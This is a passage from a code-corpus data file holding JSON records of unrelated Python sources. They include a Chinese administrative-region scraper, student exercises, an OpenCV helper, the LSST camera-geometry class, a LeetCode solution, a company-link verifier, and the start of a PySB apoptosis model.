mysql.insert_content(province_id,province_name,province_url)\n\n                    print(\"******当前省份为：-\",province_name,\"-******\")\n                    time.sleep(1)\n                    get_city(province_url,province_name)\n            else:\n                get_province(start_url)\n\n        elif html.status_code == 400:\n            print(\"===========抓取省份超时\",html.status_code,\"，请等待===========\")\n            get_province(start_url)\n        elif html.status_code == 503:\n            print(\"===========抓取省份超时\",html.status_code,\"，请等待===========\")\n            get_province(start_url)\n\n    except (ConnectionError,ReadTimeout) as c:\n            print('===========省份抓取超时，重新连接中===========')\n            get_province(start_url)\n\ndef get_city(url,province_name):\n    try:\n        html = requests.get(url, timeout=10)\n        print(html.status_code)\n        if html.status_code == 200:\n            doc = pq(html.text)\n            items = doc('#serId > div > div:nth-child(4) > div.h_select_line_right > a').items()\n            for item in items:\n                city_name = item.text()\n                city_url = basic_url + item.attr('href')\n                city_id = item.attr('href')[72:74]\n                province_id = item.attr('href')[70: 72]\n\n                mysql.insert_city(province_id,city_id,city_name,city_url,province_name)\n\n                print(\"******当前城市为：-\",city_name,\"-******\")\n                time.sleep(1)\n                get_country(city_url,city_name,province_name)\n\n        elif html.status_code == 400:\n            print(\"===========城市抓取超时，请等待===========\")\n            return get_city(url,province_name)\n\n    except (ConnectionError, ReadTimeout) as c:\n        print('===========抓取城市连接超时，重新连接中===========')\n        return get_city(url,province_name)\n\ndef get_country(url,city_name,province_name):\n    try:\n        html = requests.get(url,timeout=5)\n        print(html.status_code)\n        if html.status_code == 200:\n            doc = pq(html.text)\n            items = doc('#serId > div > div:nth-child(5) > div.h_select_line_right > a').items()\n            for item in items:\n                country_name = item.text()\n                country_url = basic_url + item.attr('href')\n                country_id = item.attr('href')[-8:-6]\n                province_id = item.attr('href')[-12:-10]\n                city_id = item.attr('href')[-10:-8]\n                mysql.insert_country(province_id,city_id,country_id,country_name,country_url,city_name,province_name)\n\n\n                print(\"******当前县/区：-\",country_name,\"-******\")\n                time.sleep(1)\n\n        elif html.status_code == 400:\n            print(\"==============县/区抓取超时，请等待==============\")\n            return get_country(url,city_name,province_name)\n\n    except (ConnectionError, ReadTimeout) as c:\n        print('===========抓取县/区连接超时，重新连接中===========')\n        return get_country(url,city_name,province_name)\n\n\n\nif __name__ == '__main__':\n    # 从头开始\n    # get_province(start_url)\n\n    # # 补充单个省\n    info = mysql.select_province(\"山东省\")\n    city_url = info[3]\n    province_name = info[2]\n    print(city_url,province_name)\n    get_city(city_url,province_name)\n    # get_city()\n\n    # # 补充单个市\n    # info = mysql.select_city(\"抚州市\")\n    # city_url = info[3]\n    # city_name = info[2]\n    # province_name = info[5]\n    # print(city_url, city_name, province_name)\n    # get_country(city_url,city_name,province_name)\n\n    mysql.db.close()","sub_path":"test_spider.py","file_name":"test_spider.py","file_ext":"py","file_size_in_byte":5605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"508478058","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\n\nn=int(input(\"Insira n: \"))\nwhile n < 3:\n    n=int(input(\"Insira n: \"))\n\nmatriz=np.empty([n,n])\ntrans=np.empty([n,n])\n\nfor i in range (0,n,1):\n    for j in range (0,n,1):\n        matriz[i][j]=int(input(\"Insira um valor: \"))\n\nfor i in range (0,n,1):\n    for j in range (0,n,1):\n        trans[i][j]=matriz[j][i]\n\nprint(matriz)\nprint(trans)\n\nsomlin=[]\nsomcol=[]\n\nfor i in range (0,n,1):\n    somlin.append(sum(matriz[i]))\n    \nfor i in range (0,n,1):\n    somcol.append(sum(trans[i]))\n    \nprint(somlin)\nprint(somcol)\n\ncontlin=[]\ncontcol=[]\n\nfor i in range (0,n,1):\n    contlin.append(somlin.count(somlin[i]))\n    \nfor i in range (0,n,1):\n    contcol.append(somcol.count(somcol[i]))\n    \nprint(contlin)\nprint(contcol)\n    \nmax=0\nlin=0\ncol=0\n\nfor i in range (0,n,1):\n    if contlin[i] != 1:\n        max=somlin[i]\n        break\n\nprint(max)\n\nfor i in range (0,n,1):\n    if contlin[i] == 1:\n        lin=i\n        break\n\nprint(lin)\n\nfor i in range (0,n,1):\n    if contcol[i] == 1:\n        col=i\n        break\n\nprint(col)\n    \nnumatual=matriz[lin][col]\n\nmatriz[lin][col]=0\n\nprint(numatual)\nprint(matriz)\n\n\nnumnovo=max-sum(matriz[lin])\n\nprint(int(numnovo))\nprint(int(numatual))\n    \n    \n\n\n\n","sub_path":"moodledata/vpl_data/455/usersdata/280/107603/submittedfiles/programa.py","file_name":"programa.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"639354245","text":"import traceback\nimport time\n\nfrom django.db import connections\nfrom django.db.utils import OperationalError\n\n\ntry_count = 20\nlatency = 5  # sec\n\n\ndb_conn = connections['default']\nfor i in range(try_count):\n    print('Test to connect to the database '+str(i))\n\n    try:\n        c = db_conn.cursor()\n    except OperationalError:\n        print(traceback.format_exc(0))\n        print('Retrying after %s seconds' % latency)\n        time.sleep(latency)\n    else:\n        print('Connecting to the database - successfully')\n        break\n","sub_path":"pro/test_connect_to_db.py","file_name":"test_connect_to_db.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"446072569","text":"from functools import lru_cache\n\n\n@lru_cache(maxsize=1000)\ndef fibonacci(n):\n    if n == 1:\n        return 1\n    elif n == 2:\n        return 1\n    elif n > 2:\n        return fibonacci(n-1) + fibonacci(n-2)\n\n\nprint(sum([fibonacci(x) for x in range(1, 40) if fibonacci(x) % 2 == 0 and fibonacci(x) < 4000000]))\n","sub_path":"python/pythonproject/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"171570564","text":"import os.path\n\nimport cv2\n\ndef fetch_image(image_name, flags=-1):\n    \"\"\"Return an image from the images directory.\"\"\"\n    path = os.path.realpath(__file__)\n    dirname = os.path.dirname(path)\n    image_path = os.path.join(dirname, 'extra', 'images', image_name)\n    image = cv2.imread(image_path, flags)\n    return image\n","sub_path":"cv2tutorial/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"185818584","text":"from bench import run_bench\n\n\nclass DotDict(dict):\n    def __getattr__(self, key):\n        return self[key]\n    def __setattr__(self, key, val):\n        if key in self.__dict__:\n            self.__dict__[key] = val\n        else:\n            self[key] = val\n\n\ndef load_eval_config():\n    args = DotDict()\n    args.dataset = 'VOT2018'\n    args.tracker = 'SiamFC'\n    args.vanilla = False\n    args.viz = True\n    args.lb_type = 'ensemble'\n    args.spec_video = ''\n    args.save_path = 'Tracker'\n    args.verbose = True\n\n    return args\n\n\nif __name__ == '__main__':\n    \n    # Evaluate tracker if results are already stored in results directory\n    args = load_eval_config()\n    run_bench(args_ext=args)","sub_path":"examples/vot2018.py","file_name":"vot2018.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"8620516","text":"import turtle\n\nmyarr = []\ncol = 2\nrow = 1\nturtle.hideturtle()\n\n\ndef readWASD(f):\n  while(True):\n    tempLine = f.readline()\n  \n    if tempLine == \"\": \n      break\n  \n    temparr = []\n    for t in tempLine:\n      temparr.append(t)\n    myarr.append(temparr)\n  \n  f.close()\n\ndef drawSquare(x, y, side, color):\n  turtle.up()\n  turtle.goto(x, y)\n  if (not color == \"none\"):\n    turtle.color(color)\n    turtle.begin_fill()\n    for x in range(4):\n      turtle.forward(side)\n      turtle.right(90)\n    turtle.end_fill()\n\ndef drawMap():\n  x = -120\n  y = 60\n  originalX = -120\n  side = 10\n  turtle.tracer(0, 0)\n  for arr in myarr:\n    for value in arr:\n      if (value == \"0\"):\n        drawSquare(x, y, side, \"green\")\n      elif (value == \"1\"):\n        drawSquare(x, y, side, \"yellow\")\n      elif (value == \"2\"):\n        drawSquare(x, y, side, \"red\")\n      elif (value == \"\\n\"):\n        drawSquare(x, y, side, \"none\")\n      else:\n        drawSquare(x, y, side, \"black\")\n      x+=side\n    y-=side\n    x = originalX\n  turtle.update()\n\ndrawMap()\n\n\n\n\ndef up():\n  global myarr\n  global row\n  global col\n  if (myarr[row-1][col] == \"0\"):\n    myarr[row][col] = \"0\"\n    row -=1\n    myarr[row][col] = \"1\"\n  turtle.clear()\n  drawMap()\n\n\ndef down():\n  global myarr\n  global row\n  global col\n  if (myarr[row+1][col] == \"0\"):\n    myarr[row][col] = \"0\"\n    row +=1\n    myarr[row][col] = \"1\"\n  turtle.clear()\n  drawMap()\n\n\ndef left():\n  global myarr\n  global row\n  global col\n  if (myarr[row][col-1] == \"0\"):\n    myarr[row][col] = \"0\"\n    col -=1\n    myarr[row][col] = \"1\"\n  turtle.clear()\n  drawMap()\n\n\ndef right():\n  global myarr\n  global row\n  global col\n  if (myarr[row][col+1] == \"0\"):\n    myarr[row][col] = \"0\"\n    col +=1\n    myarr[row][col] = \"1\"\n  turtle.clear()\n  drawMap()\n\n","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"165121903","text":"#\n# LSST Data Management System\n# Copyright 2014 LSST Corporation.\n#\n# This product includes software developed by the\n# LSST Project (http://www.lsst.org/).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the LSST License Statement and\n# the GNU General Public License along with this program.  If not,\n# see <http://www.lsstcorp.org/LegalNotices/>.\n#\nfrom .cameraGeomLib import FOCAL_PLANE, PIXELS\nfrom .detectorCollection import DetectorCollection\nfrom .pupil import PupilFactory\nimport lsst.afw.geom as afwGeom\n\n\nclass Camera(DetectorCollection):\n    \"\"\"!A collection of Detectors plus additional coordinate system support\n\n    Camera.transform transforms points from one camera coordinate system to another.\n\n    Camera.getTransform returns a transform between camera coordinate systems.\n\n    Camera.findDetectors finds all detectors overlapping a specified point.\n    \"\"\"\n\n    def __init__(self, name, detectorList, transformMap, pupilFactoryClass=PupilFactory):\n        \"\"\"!Construct a Camera\n\n        @param[in] name  name of camera\n        @param[in] detectorList  a sequence of detectors in index order\n        @param[in] transformMap  a TransformMap that at least supports\n            FOCAL_PLANE and FIELD_ANGLE coordinates\n        @param[in] pupilFactoryClass  a PupilFactory class for this camera\n            [default: afw.cameraGeom.PupilFactory]\n        \"\"\"\n        self._name = name\n        self._transformMap = transformMap\n        self._nativeCameraSys = FOCAL_PLANE\n        self._pupilFactoryClass = pupilFactoryClass\n        super(Camera, self).__init__(detectorList)\n\n    def getName(self):\n        \"\"\"!Return the camera name\n        \"\"\"\n        return self._name\n\n    def getPupilFactory(self, visitInfo, pupilSize, npix, **kwargs):\n        \"\"\"!Construct a PupilFactory.\n\n        @param[in] visitInfo  VisitInfo object for a particular exposure.\n        @param[in] pupilSize  Size in meters of constructed Pupil array.\n                              Note that this may be larger than the actual\n                              diameter of the illuminated pupil to\n                              accommodate zero-padding.\n        @param[in] npix       Constructed Pupils will be npix x npix.\n        @param[in] kwargs     Other keyword arguments for the pupil factory\n        \"\"\"\n        return self._pupilFactoryClass(visitInfo, pupilSize, npix, **kwargs)\n\n    @property\n    def telescopeDiameter(self):\n        return self._pupilFactoryClass.telescopeDiameter\n\n    def _getTransformFromOneTransformMap(self, fromSys, toSys):\n        \"\"\"!Get a transform from one TransformMap\n\n        `fromSys` and `toSys` must both be present in the same transform map,\n        but that transform map may be from any detector or this camera object.\n\n        @param[in] fromSys  Camera coordinate system of `position`\n                        input points\n        @param[in] toSys  Camera coordinate system of returned point(s)\n\n        @return an lsst.afw.geom.TransformPoint2ToPoint2 that transforms from\n            `fromSys` to `toSys` in the forward direction\n\n        @throws lsst.pex.exceptions.InvalidParameter if no transform is\n        available. This includes the case that fromSys specifies a known\n        detector and toSys specifies any other detector (known or unknown)\n        @throws KeyError if an unknown detector is specified\n        \"\"\"\n        if fromSys.hasDetectorName():\n            det = self[fromSys.getDetectorName()]\n            return det.getTransformMap().getTransform(fromSys, toSys)\n        elif toSys.hasDetectorName():\n            det = self[toSys.getDetectorName()]\n            return det.getTransformMap().getTransform(fromSys, toSys)\n        else:\n            return self.getTransformMap().getTransform(fromSys, toSys)\n\n    def findDetectors(self, point, cameraSys):\n        \"\"\"!Find the detectors that cover a point in any camera system\n\n        @param[in] point  position to use in lookup (lsst.afw.geom.Point2D)\n        @param[in] cameraSys  camera coordinate system of `point`\n        @return a list of zero or more Detectors that overlap the specified point\n        \"\"\"\n        # convert `point` to the native coordinate system\n        transform = self._getTransformFromOneTransformMap(cameraSys, self._nativeCameraSys)\n        nativePoint = transform.applyForward(point)\n\n        detectorList = []\n        for detector in self:\n            nativeToPixels = detector.getTransform(self._nativeCameraSys, PIXELS)\n            pointPixels = nativeToPixels.applyForward(nativePoint)\n            if afwGeom.Box2D(detector.getBBox()).contains(pointPixels):\n                detectorList.append(detector)\n        return detectorList\n\n    def findDetectorsList(self, pointList, cameraSys):\n        \"\"\"!Find the detectors that cover a list of points in any camera system\n\n        @param[in] pointList  a list of points (lsst.afw.geom.Point2D)\n        @param[in] cameraSys  the camera coordinate system of the points in `pointList`\n        @return a list of lists; each list contains the names of all detectors\n        which contain the corresponding point\n        \"\"\"\n\n        # transform the points to the native coordinate system\n        transform = self._getTransformFromOneTransformMap(cameraSys, self._nativeCameraSys)\n        nativePointList = transform.applyForward(pointList)\n\n        detectorList = []\n        for i in range(len(pointList)):\n            detectorList.append([])\n\n        for detector in self:\n            pixelSys = detector.makeCameraSys(PIXELS)\n            transform = detector.getTransformMap().getTransform(self._nativeCameraSys, pixelSys)\n            detectorPointList = transform.applyForward(nativePointList)\n            box = afwGeom.Box2D(detector.getBBox())\n            for i, pt in enumerate(detectorPointList):\n                if box.contains(pt):\n                    detectorList[i].append(detector)\n\n        return detectorList\n\n    def getTransform(self, fromSys, toSys):\n        \"\"\"!Get a transform from one CameraSys to another\n\n        @param[in] fromSys  From CameraSys\n        @param[in] toSys  To CameraSys\n        @return an lsst.afw.geom.TransformPoint2ToPoint2 that transforms from\n            `fromSys` to `toSys` in the forward direction\n\n        @throws lsst.pex.exceptions.InvalidParameter if no transform is\n        available.\n        @throws KeyError if an unknown detector is specified\n        \"\"\"\n        # All transform maps should know about the native coordinate system\n        fromSysToNative = self._getTransformFromOneTransformMap(fromSys, self._nativeCameraSys)\n        nativeToToSys = self._getTransformFromOneTransformMap(self._nativeCameraSys, toSys)\n        return fromSysToNative.then(nativeToToSys)\n\n    def getTransformMap(self):\n        \"\"\"!Obtain the transform registry.\n\n        @return a TransformMap\n\n        @note: TransformRegistries are immutable, so this should be safe.\n        \"\"\"\n        return self._transformMap\n\n    def transform(self, points, fromSys, toSys):\n        \"\"\"!Transform a point or list of points from one camera coordinate system\n        to another\n\n        @param[in] points  an lsst.afw.geom.Point2D or list of Point2D\n        @param[in] fromSys  Transform from this CameraSys\n        @param[in] toSys  Transform to this CameraSys\n        @return `points` transformed to `toSys` (an lsst.afw.geom.Point2D\n        or list of Point2D)\n        \"\"\"\n        transform = self.getTransform(fromSys, toSys)\n        return transform.applyForward(points)\n","sub_path":"python/lsst/afw/cameraGeom/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":7966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"66593510","text":"#1616. Split Two Strings to Make Palindrome\n# vwc 210\n\n\n# 2021/06/11\n# Runtime: 112 ms, faster than 43.67% of Python3 online submissions for Split Two Strings to Make Palindrome.\n# Memory Usage: 15.4 MB, less than 61.14% of Python3 online submissions for Split Two Strings to Make Palindrome.\n\n# 数学贪心双指针解法。O(n)。挺难的，没啥思路。\n# 左右同向向指针找到第一个不相同的位置。然后检查中间的字符是否是回文串。\n\n\nclass Solution:\n    def checkPalindromeFormation(self, a: str, b: str) -> bool:\n\n        return self.check(a, b) or self.check(b, a)\n\n    def isPalindrome(self, s, i, j):\n        while i < j:\n            if s[i] != s[j]:\n                return False\n            i += 1;\n            j -= 1\n        return True\n\n    def check(self, a, b):\n        l, r = 0, len(a) - 1\n        while l < r and a[l] == b[r]:\n            l += 1;\n            r -= 1\n        return self.isPalindrome(a, l, r) or self.isPalindrome(b, l, r)\n\n","sub_path":"1616. Split Two Strings to Make Palindrome.py","file_name":"1616. Split Two Strings to Make Palindrome.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"306947069","text":"import re\n\n#takes url string (twitter facebook angellist)\n#url string : twitter facebook angellist main_url\n# company name\n#company url\n\ndef check(urlString, compName, url):\n    # checks if the required string is in the url link itself\n    if urlString == \"main\":\n        if (len(url.split(\"/\"))>=3):\n            url = url.split(\"/\")[2]\n    elif urlString not in url:\n        return False\n\n    #lowercase url\n    url = url.lower()\n\n\n    # Case 1: Company Name has no spaces\n    \n        \n    if \" \" not in compName:\n        \n        if \".\" in compName:\n            # Splits companies names\n            compNameWord = compName.split(\".\")\n\n            # prelim parsing\n            for word in compNameWord:\n\n                # lowers each element\n                lowerWord = word.lower()\n                \n                #checks that it's not a useless word\n                if \"inc\" in lowerWord or \"llc\" in lowerWord or \"p.c.\" in lowerWord:\n                    continue\n                else:\n                    #checks that each word is part of url\n                    if lowerWord not in url:\n                        return False\n            # all conditions work for len > 1\n            return True\n\n        # splits at uppercase letters\n        splitName = re.findall('[A-Z][^A-Z]*', compName)\n\n        # edge cases that need direct checking\n        if len(splitName) == 1:\n            compName = compName.lower()\n            return compName in url\n        if len(splitName) == len(compName):\n            return False\n        else:\n            # index system that checks for increasing pattern in text\n            prevIndex = -1\n\n            # verification for each part of the name\n            for item in splitName:\n                # lowers so easy compare\n                modified = item.lower()\n                # direct check\n                if modified not in url:\n                    return False\n                #does the increase index checking\n                index = url.find(modified)\n                if prevIndex > index:\n                    return False\n                prevIndex = index   \n        # passed all the tests for len = 1 \n        return True\n    else:\n\n        # Splits companies names\n        compNameWord = compName.split(\" \")\n\n        # prelim parsing\n        for word in compNameWord:\n\n            # lowers each element\n            lowerWord = word.lower()\n            \n            #checks that it's not a useless word\n            if \"inc\" in lowerWord or \"llc\" in lowerWord or \"p.c.\" in lowerWord or \"ltd\" in lowerWord:\n                continue\n            else:\n                #checks that each word is part of url\n                if lowerWord not in url:\n                    return False\n\n        # all conditions work for len > 1\n        return True\n            \n\n# CHECKS\n\n# print(check(\"facebook\", \"Chapter 11 Dockets\", \" https://www.chapter11dockets.com/\"))\n# print(check(\"twitter\", \"Corporize\",  \" https://twitter.com/corporatize\"))\n# print(check(\"twitter\", \"DISCO\", \"twitter\"))\n# print(check(\"facebook\", \"MyCourthouse\", \" https://www.facebook.com/courthouseclubs/videos/on-the-second-day-of-christmas-my-trainer-brought-to-me-push-ups-how-many-can-yo/569793773433336/\"))\n# print(check(\"twitter\", \"PayMyTrustee\", \" https://twitter.com/paymytrustee\"))\n\n# print(check(\"twitter\", \"Free Law Project\", ' https://twitter.com/FreeLawProject?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor'))\n# print(check(\"twitter\", \"PSS Systems\", \" https://twitter.com/pss_systems?lang=en\"))\n# print(check(\"twitter\", \"Legal.io\", \" https://twitter.com/Legal_io?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor\"))\n# print(check(\"twitter\", \"Legal Passage\", \" https://help.twitter.com/en/rules-and-policies/twitter-legal-faqs\"))\n# print(check(\"crunchbase\", \"AlgoValue\" ,  \" https://www.crunchbase.com/organization/algovalue\"))\n\n# print(check(\"main\", \"Brightleaf\", \" https://www.brightleaf.com/\"))\n# print(check(\"main\", \"Lynx Workflow\" , \" http://www.lynxworkflow.com/\"))\n# print(check(\"main\", \"Patentory\", \" https://www.crunchbase.com/organization/pantentory\"))\n\nverifiedDict = {}\nthingsToManuallyCheck = {}\n\nwith open('companiesWithSocialsNoDups.csv','r') as in_file:\n    for line in in_file:\n        compName = line.split(\",\")[0]\n        startCurl = line.find(\"{\")\n        endCurl = line.find(\"}\")\n        if startCurl < 0:\n            continue\n\n        jsonDump = eval(line[startCurl: endCurl+1])\n\n        relationArr = {\n            \" twitter_url\": \"twitter\",\n            \" angellist_url\": \"angel\",\n            \" facebook_url\": \"facebook\",\n            \" linkedin_url\": \"linkedin\",\n            \" crunchbase_url\": \"crunchbase\",\n            \" main_url\": \"main\"\n        }\n\n        for item in jsonDump:\n            if check(relationArr[item], compName, jsonDump[item]):\n                if compName not in verifiedDict:\n                    verifiedDict[compName] = {}\n                verifiedDict[compName][item[1:]] = jsonDump[item]\n            else:\n                if compName not in thingsToManuallyCheck:\n                    thingsToManuallyCheck[compName] = {}\n                thingsToManuallyCheck[compName][item[1:]] = jsonDump[item]\n\n\n\n# line = 'Brightleaf, 1900, date, category, audience, model,\"{\" twitter_url\": \" https://twitter.com/brightleaf\", \" angellist_url\": \" https://angel.co/company/brightleaf-power-1\", \" main_url\": \" https://www.brightleaf.com/\"}'\n# startCurl = line.find(\"{\")\n# endCurl = line.find(\"}\")\n# print(eval(line[startCurl:endCurl+1])[' twitter_url'])\n#  ADD MAIN URL CHECKING NOT THERE YET\n\nwith open(\"DAVID_FINAL_CHECK.txt\", 'w') as out_file:\n    line = \"\"\n    for item in thingsToManuallyCheck:\n        line += item\n        line += \"\\t\"\n        line += str(thingsToManuallyCheck[item])\n        line += \"\\n\"\n    out_file.write(line)\n\nwith open(\"new_links.tsv\", 'w') as out_file:\n    line = \"\"\n    for item in verifiedDict:\n        line += item\n        line += \"\\t\"\n        line += str(verifiedDict[item])\n        line += \"\\n\"\n    out_file.write(line)","sub_path":"verify_links.py","file_name":"verify_links.py","file_ext":"py","file_size_in_byte":6010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"475500249","text":"\"\"\"\nApoptosis-Necrosis Reaction Network Model: \n\n\"\"\"\n\nfrom pysb import *\nfrom pysb.util import alias_model_components\nfrom earm import shared\n\nfrom anrm import irvin_modules_v3 as irvin\nfrom earm import lopez_modules as lopez \nfrom earm import albeck_modules as albeck\nfrom anrm import merge\n\n# -----Monomers-----\ndef compile_monomers():\n    Model('m')\n    # From irvin_modules\n    irvin.CD95_to_SecondaryComplex_monomers()\n    irvin.TNFR1_to_SecondaryComplex_monomers()\n    irvin.SecondaryComplex_to_Bid_monomers()\n    \"\"\"alias_model_components() was placed in on the line following declaration of a parameter. This function exports the Parameter as a global variable. And it appears to be required before any rules can use the Parameters\n        Line 69: Monomer('C8', ['bC8']) is changed to\n        Monomer('C8', ['bf', 'state'], {'state':['A']}) \n        Line 104: Initial(C8(bC8=None), C8_0) is changed to\n        Initial(C8(bf=None, state = 'A'), C8_0) \n        Line 161: Rule('C8_activation' ...+ C8(bC8 = None...) is changed to \n        Rule ('C8_activation' ...+C8(bf = None, state = 'A')\n        Line 164: bind(Bar(bC8 = None), 'bC8', C8(bC8 = None), 'bC8', [kf7, kr7]) \n        is changed to bind(Bar(bC8 = None), 'bC8', C8(bf = None, state = 'A'), 'bf',    [kf7, kr7])\n        Line 293: Deleted. Monomer('Bid', ['bf', 'state'], {'state':['unmod', 'po4', 'trunc', 'M']})\n        Line 310: Deleted. Parameter('Bid_0'   , 2.0e4)\n        Line 315: Deleted. Initial(Bid(bf = None, state = 'unmod'), Bid_0)\n        Line 382: Rule('RIP1_truncation_CIIA', RIP_CIIA_proC8 >> CIIA + C8(bC8 = None) + RIP1(bDD=None, bRHIM = None, state = 'trunc'), kc25) is changed to\n            Rule('RIP1_truncation_CIIA', RIP_CIIA_proC8 >> CIIA + C8(bf = None, state = 'A') + RIP1(bDD=None, bRHIM = None, state = 'trunc'), kc25)\n        Line 383: Rule('RIP1_truncation_CIIB', RIP_CIIB_proC8 >> FADD(bDD=None, bDED1=None, bDED2=None)+ C8(bC8=None) + RIP1(bDD=None, bRHIM = None, state = 'trunc'), kc25) is changed to\n        Line 384: catalyze_state(C8(bC8=None), 'bC8', RIP1(bDD=None), 'bRHIM', 'state', 'unmod', 'trunc', [kf26, kr26, kc26])\n            is changed to catalyze_state(C8(bf = None, state = 'A'), 'bf', RIP1(bDD=None), 'bRHIM', 'state', 'unmod', 'trunc', [kf26, kr26, kc26])\n        Line 403:catalyze_state(C8(bC8=None), 'bC8', RIP3(), 'bRHIM', 'state', 'unmod', 'trunc', [kf31, kr31, kc31])\n            is changed to catalyze_state(C8(bf = None, state = 'A'), 'bf', RIP3(), 'bRHIM', 'state', 'unmod', 'trunc', [kf31, kr31, kc31])\n        Line 406: catalyze_state(BidK(), 'bf', Bid(), 'bf', 'state', 'unmod', 'po4', [kf32, kr32, kc32]) is changed to\n            catalyze_state(BidK(), 'bf', Bid(), 'bf', 'state', 'U', 'po4', [kf32, kr32, kc32])\n        Line 407: catalyze_state(C8(bC8=None), 'bC8', Bid(), 'bf', 'state', 'unmod', 'trunc', [kf33, kr33, kc33])\n            is changed to catalyze_state(C8(bf = None, state = 'A'), 'bf', Bid(), 'bf', 'state', 'unmod', 'trunc', [kf33, kr33, kc33])\n        Line 407: catalyze_state(C8(bf = None, state = 'A'), 'bf', Bid(), 'bf', 'state', 'unmod', 'trunc', [kf33, kr33, kc33])\n            is changed to\n            catalyze_state(C8(bf = None, state = 'A'), 'bf', Bid(), 'bf', 'state', 'U', 'T', [kf33, kr33, kc33])\n    \"\"\"\n\n    # From lopez_modules\n    lopez.momp_monomers()\n\n    # From albeck_modules\n    albeck.apaf1_to_parp_monomers()\n    return m.monomers\n\"\"\"\ndef rules_to_edit():\n    Model('edit_these')\n    # Monomers required by the rules we wish to edit\n    irvin.CD95_to_SecondaryComplex_monomers()\n    lopez.momp_monomers()\n    albeck.apaf1_to_parp_monomers()\n    \n    # Rules we wish to edit\n    albeck.pore_to_parp()\n    return [edit_these.rules, edit_these.initial_conditions]\n\ndef remove_rules(edit_these.rules, edits):\n    from pysb.core import ComponentSet\n    #remove rules\n    less_rules = all_rules\n    rule_names = all_rules.keys()\n    for j in edits:\n        rule_index = less_rules._index_map[j]\n        to_remove = less_rules[rule_index:rule_index+1]\n        less_rules = less_rules - to_remove\n\n    return less_rules\n\ndef new_rules():\n    alias_model_components()\n    from pysb.macros import *\n    Initial(C6(bf1=None, bf2=None, state='pro'), Parameter('C6_0', 1e4))\n    catalyze_state(C3(state='A'), 'bf', C6(), 'bf1', 'state', 'pro', 'A', [1e-6, 1e-3, 1])\n    bind(C6(bf1 = None, bf2 = None, state = 'A'), 'bf1', proC8(bDED = None), 'bDED', [Parameter('kf51', 1e-6), Parameter('kr51', 1e-3)])\n    bind(C6(bf1 = ANY, bf2 = None, state = 'A'), 'bf2', proC8(bDED = None), 'bDED', [Parameter('kf52', 1e-6), Parameter('kr52', 1e-3)])\n    Rule('C8_activation_byC6', C6(bf1 = ANY, bf2 = ANY, state = 'A')%proC8(bDED = ANY)%proC8(bDED = ANY) >> C8(bf = None, state = 'A') + C6(bf1=None, bf2=None, state = 'A'), Parameter('kc52', 1e-1))\n\ndef edit_initial_cond(monomers, initial_conditions_list, edits):\n    names  = edits.keys()\n    initials   = initial_conditions_list\n    initial_str = []\n    for i in range(len(initial_conditions_list)):\n        a = repr(initial_conditions_list[i][0])\n        initial_str.append(a)\n    \n    for m in edits.keys():\n        ic_index = [i for i, ic in enumerate(initial_str) if m in ic]\n        del initial_str[ic_index[0]]\n        del initials[ic_index[0]]\n\n    Model('edit_initials')\n    edit_initials.monomers = monomers\n    edit_initials.initial_conditions = initials\n    alias_model_components()\n    for m in edits.keys():\n        Parameter('%s_0'%m, edits[m][1])\n        exec 'Initial(' + m + edits[m][0] + ', %s_0)'%m\n\n    print edit_initials.initial_conditions\n    \n\ndef remove_rules(monomers, initial_conditions, rules, delete_rule)\n    Model('delete_these')\n        delete_these.monomers = monomers\n        delete_these.initial_conditions = initial_conditions\n\"\"\"    \n\nrevised_monomers = {'Bid' :(['bf', 'state'], {'state':['U', 'T', 'M', 'po4']}),\n    'C6'  :(['bf1','bf2', 'state'], {'state':['pro', 'A']}),\n    'PARP':(['bf', 'state'], {'state':['U', 'C', 'A']})}\n\nmonomer_edits = merge.Edit_Monomers(compile_monomers(), revised_monomers)\nmerged_monomers = monomer_edits.merged_monomers\n\n# edited_initials = edit_initial_cond(merged_monomers, rules_to_edit()[1], {'C6':['(bf1=None, bf2=None, state=\"pro\")', 1e4]})\n\n\nModel('model')\nmodel.monomers = merged_monomers\n\n# From irvin_modules\nirvin.CD95_to_SecondaryComplex()\nirvin.TNFR1_to_SecondaryComplex_Alternate()\nirvin.SecondaryComplex_to_Bid_Alternate()\nirvin.cFlip_competitive_inhibition()\nirvin.NFkB_cFlip_interaction_monomers()\nirvin.NFkB_cFlip_interaction()\nirvin.cFLIP_L_Bid_interaction()\n    \n# From 